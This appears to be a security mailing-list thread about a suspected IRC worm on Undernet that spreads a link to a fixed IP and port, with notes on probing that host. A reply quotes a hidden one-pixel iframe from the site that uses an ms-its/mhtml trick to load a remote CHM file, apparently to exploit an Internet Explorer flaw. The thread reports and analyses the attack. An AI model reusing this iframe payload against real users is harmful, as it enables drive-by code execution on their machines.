I checked out this IP, and saw the following::
<iframe src="ms-its:mhtml:file://c:\Css.MHT!http://69.157.174.169:2233//chm2.chm::/rundl.html"; length="1" height="1"></iframe>

This leads me to believe it may a malicious website setup in an attempt to exploit a flaw in IE that was discovered last month ("MSIE Unspecified File Processing Arbitrary Code Execution Vulnerability")and not a worm. You can get more info on it here:

Good call alerting the ISP. Hopefully they'll knock it offline pretty quick.

Hi,

   I think it's a new worm spreading on undernet. The worm PRIVMSG user
with an ip address and port like this (ip and port never change) :
[07:53] <C96347981> http://69.157.174.169:2233/

   If you telnet to this address, you'll get

C:\telnet 69.157.174.169 2233
GET / HTTP/1.1
HTTP/1.1 200 OK

it may not be related, but telneting to port 80 will disconnect you with an
"unknown" response as soon you type a letter

Each user wich sent me this address seems to had the (almost) same pattern
for nick and fullname: 1 letter followed by number. Some fullname are
followed by 11 numbers, others by 12 numbers. None of them was on any
channels at all.
